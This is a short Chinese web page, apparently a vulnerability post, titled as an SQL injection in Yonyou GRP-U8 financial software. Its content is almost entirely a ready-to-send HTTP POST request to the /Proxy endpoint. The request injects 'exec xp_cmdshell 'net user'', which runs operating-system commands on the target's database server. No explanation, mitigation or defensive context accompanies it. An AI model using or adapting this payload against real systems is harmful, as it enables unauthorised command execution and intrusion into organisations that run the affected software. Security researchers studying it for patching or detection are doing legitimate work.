用友GRP-u8_SQL注入

# 用友GRP-u8 SQL注入

“`
POST /Proxy HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache

cVer=9.8.0&dp=XMLAS_DataRe
quest
ProviderNameDataSetProviderDataDataexec xp_cmdshell ‘net
user’

“`

![image-20201020120505719](/static/qingy/用友GRP-u8_SQL注入/img/image-20201020120505719.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容